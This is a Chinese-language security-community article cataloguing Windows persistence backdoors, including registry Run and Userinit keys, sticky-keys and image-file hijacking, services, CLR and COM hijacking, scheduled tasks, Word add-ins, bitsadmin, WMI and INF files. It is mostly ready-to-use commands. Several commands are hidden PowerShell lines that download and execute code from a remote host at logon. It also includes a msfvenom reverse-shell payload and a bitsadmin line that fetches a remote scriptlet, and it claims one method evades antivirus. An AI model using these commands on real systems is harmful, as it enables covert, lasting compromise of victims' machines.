sechub官方2025-08-14文章来源:SecHub网络安全社区
通过修改注册表自启动键值为木马程序路径,实现开机自启动。
# Run、Runonce键(Runonce键只执行一次就会自动删除)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
# Winlogon\Userinit键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
类似的还有很多,关键词:注册表启动键值。
使用以下命令在管理员权限CMD下可以一键实现无文件注册表后门(生成的reg.exe会被360查杀到):
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.162:80/index.php'))\"" /f
注册表路径:HKEY_CURRENT_USER\Environment\
创建字符串键值: UserInitMprLogonScript,键值设置为绝对路径:C:\Windows\System32\calc.exe
效果为一开机就会运行计算器calc.exe
Userinit的作用是用户在进行登陆初始化设置时,WinLogon进程会执行指定的login scripts,所以我们可以修改它的键值来添加我们要执行的程序。
userinit在注册表中的路径为:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit
利用USERINIT注册表键实现无文件后门:
"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.67.162:80/test.php'))\""
powershell下修改userinit(需要admin权限):
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe"
如"粘滞键"(连续五次Shift)、“设置中心”(WIN+U)等windows辅助功能,能在用户未登录时就通过组合键启用。
C:\Windows\System32\sethc.exe、C:\Windows\System32\utilman.exe
低版本windows内可以直接替换系统exe为后门程序
高版本windows内受到系统保护无法简单的替换程序,所以一般可以用映像劫持。是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。由于这个项主要是用来调试程序用的,对一般用户意义不大。默认是只有管理员和local system有权读写修改。
位置为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option
可在下面添加一个sethc.exe(粘滞键),然后在其下面添加键值修改为劫持程序路径,如下劫持notepad(记事本)。
如果用户开启屏幕保护,可以通过修改屏保程序达到插入后门目的。
屏幕保护的配置存储在注册表中,其位置为:HKEY_CURRENT_USER\Control Panel\Desktop
关键键值如下:
SCRNSAVE.EXE
- 默认屏幕保护程序,我们可以把这个键值改为我们的恶意程序ScreenSaveActive
- 1表示屏幕保护是启动状态,0表示表示屏幕保护是关闭状态ScreenSaverTimeout
- 指定屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)可以将如exe、dll等类型木马文件注册为服务,在电脑启东时后台默认加载,典型的如Flash xxxx helper、2xx5等软件就是如此。
使用meterpreter注册一个服务(需要SYSTEM权限)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.67.135 lport=4444 -f exe -o /root/Desktop/1.exe
到目标主机查看服务,该服务默认绑定31337端口。
C:\Windows\Temp\IwIJrZCwjh目录下三个产生文件
也可以结合powershell实现无文件后门。
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.67.135/index.php'))\""
sc description KeyName "Just For Test" //设置服务的描述字符串
sc config Name start= auto //设置这个服务为自动启动
net start Name //启动服务
微软官方解释:
在系统上发送或等待信号。waitfor可用于跨网络同步计算机。
需要另一台windwos1主机激活,当目标接收到信号时执行一次且仅执行一次操作。
waitfor test && calc
waitfor /s 192.168.67.129 /u admin /p admin /si calc
CLR(公共语言运行库,Common Language Runtime)和Java虚拟机一样也是一个运行时环境,是一个可由多种编程语言使用的运行环境。CLR的核心功能包括:内存管理、程序集加载、安全性、异常处理和线程同步,可由面向CLR的所有语言使用。并保证应用和底层操作系统之间必要的分离。CLR是.NET Framework的主要执行引擎。
CLR能劫持系统中所有.net程序,系统默认调用.net程序,导致后门激活。
注册表路径:HKEY_CURRENT_USER\Software\Classes\CLSID\
SETX COR_ENABLE_PROFILING =1 /M
SETX COR_PROFILER ={11111111-1111-1111-1111-111111111111} /M
执行命令打开powershell,触发劫持
COM就是组件对象模型,每个 COM 对象都由称为 CLSID 的唯一 ID 定义。例如用于创建 Internet Explorer 实例的 CLSID 是 {0002DF01-0000-0000-C000-000000000046}
恶意软件将文件放入两个目录:%APPDATA%\Roaming\Microsoft\Installer{BCDE0395-E52F-467C-8E3D-C4579291692E}\
文件名使用以下方案创建:api-ms- win-downlevel-[4char-random]-l1-1-0._dl
一个文件是恶意软件的 32 位版本,个文件是 64 位版本
创建两个注册表项:
HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32
HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E }\InprocServer32
Default设置为dll文件位置
{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}:CAccPropServicesClass类的 CLSID
{BCDE0395-E52F-467C-8E3D-C4579291692E}:它是MMDeviceEnumerator类的 CLSID
也可执行三好学生师傅的脚本:https://github.com/3gstudent/COM-Object-hijacking
执行ps1文件需要先开启策略:
Set-ExecutionPolicy remotesigned
运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。
通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。win7、winserver2008之后at命令被废弃,所以一般使用schtasks命令。
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?
schtasks /create /tn test /tr calc.exe /sc minute /mo 1
设置为1分钟激活一次:
创建一个自动打开计算器的dll文件,将该dll文件及一个word文件放到%APPDATA%\Microsoft\Word\Startup(C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp)目录下
将dll文件后缀名改为wll,Startup为启动加载文件夹,支持启动多个wll
打开word,成功弹出计算器:
除此之外还有Excel、PowerPoint的后门,原理与之类似。
Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。
*#创建一个下载任务:*
bitsadmin /create backdoor
*#添加文档:*
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
*#设置下载成功之后要执行的命令:*
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
*#执行任务:*
bitsadmin /Resume backdoor
WMI是一种无文件后门,会在系统重启五分钟内调用且为SYSTEM权限。
windows本地的WMI工具Wmic默认情况下无法回显,如下命令创建计算器进程:
wmic /node:192.168.67.135 /user:administrator /password:123456 process call create "calc.exe"
可使用经典的POC:
https://github.com/mattifestation/WMI_Backdoor
流行的Powersploit、Empire、Nishang中也都有相关的文件模块。
文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系。这里跟修改打开方式是一种情况。
可以使用assoc查看和修改文件拓展名关联关系;使用ftype命令显示或修改用在文件拓展名关联中的文件类型:
相关注册表:
HKEY_CURRENT_USER\Software\Classe //保存了当前用户的类注册和文件扩展名信息
HKEY_LOCAL_MACHINE\Software\Classe //保存了系统所有用户用户的类注册和文件扩展名信息
HKEY_CLASS_ROOT //HKEY_CLASSES_ROOT项提供合并来自上面两个的信息的注册表的视图
我们以.txt
为例,通过文件关联来修改它默认打开的程序。
修改\HKEY_CLASS_ROOT\txtfile\shell\open\command
的默认值为我们要执行的程序:
如修改为计算器calc.exe,这里不能修改为C:\Windows\system32\win32calc.exe这样的路径,而要修改为%SystemRoot%\system32\calc.exe %1
BITS (后台智能传送服务) 是一个 Windows 组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输。
bitsadmin是一个命令行工具,用于创建下载或上传任务并监视其进度。你可以执行bitsadmin /?或bitsadmin /HELP获取帮助列表。
常见的bitsadmin命令:
bitsadmin /create [type] DisplayName //创建一个任务bitsadmin /cancel <Job> //删除一个任务bitsadmin /list /allusers /verbose //列出所有任务bitsadmin /AddFile <Job> <RemoteURL> <LocalName> //给任务test添加一个下载文件bitsadmin /SetNotifyCmdLine <Job> <ProgramName> [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令。bitsadmin /Resume <Job> //激活传输队列中的新任务或挂起的任务。bitsadmin /cancel <Job> //删除某个任务bitsadmin /reset /allusers //删除所有任务bitsadmin /complete <Job> //完成某个任务
进行测试,该操作需要管理员权限:
bitsadmin /create testbitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\admin\Desktop\calc.exebitsadmin /SetNotifyCmdLine test cmd.exe "cmd.exe /c calc.exe"bitsadmin /resume test
重启之后:
INF文件或安装信息文件是Microsoft Windows用于安装软件和驱动程序的纯文本文件。
命令行下执行如下弹出计算器:
rundll32.exe advpack.dll,LaunchINFSection calc.inf,DefaultInstall
新建一个.inf文件内容为:
[Version]Signature="$CHICAGO$"AdvancedINF=2.5,"test"[DefaultInstall]RunPreSetupCommands=Command1[Command1]C:\windows\system32\calc.exe
注册表位置:HKEY_CURRENT_USER\Software\Microsoft\
新建子项\IEAK\GroupPolicy\PendingGPOs
然后新建几个键,如下:
在注册表HKEY_CURRENT_USER\Software\Microsoft\
处依次新建子项\IEAK\GroupPolicy\PendingGPOs
,然后再新建几个键,如下:
键:Count,类型:REG_DWORD,键值:1键:Path1,类型:REG_SZ,键值:C:\Users\Administrator\Desktop\test\calc.inf //这个为我们inf文件的路径,这里以上面那个inf文件例子为例键:Section1,类型:REG_SZ,键值:DefaultInstall
重启后弹出计算器:
注:该后门为一次性后门,能绕过Windows Defender、火绒。
远控软件:一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等,近年甚至有向日葵、Teamviwer、Todesk这些远控软件被直接植入。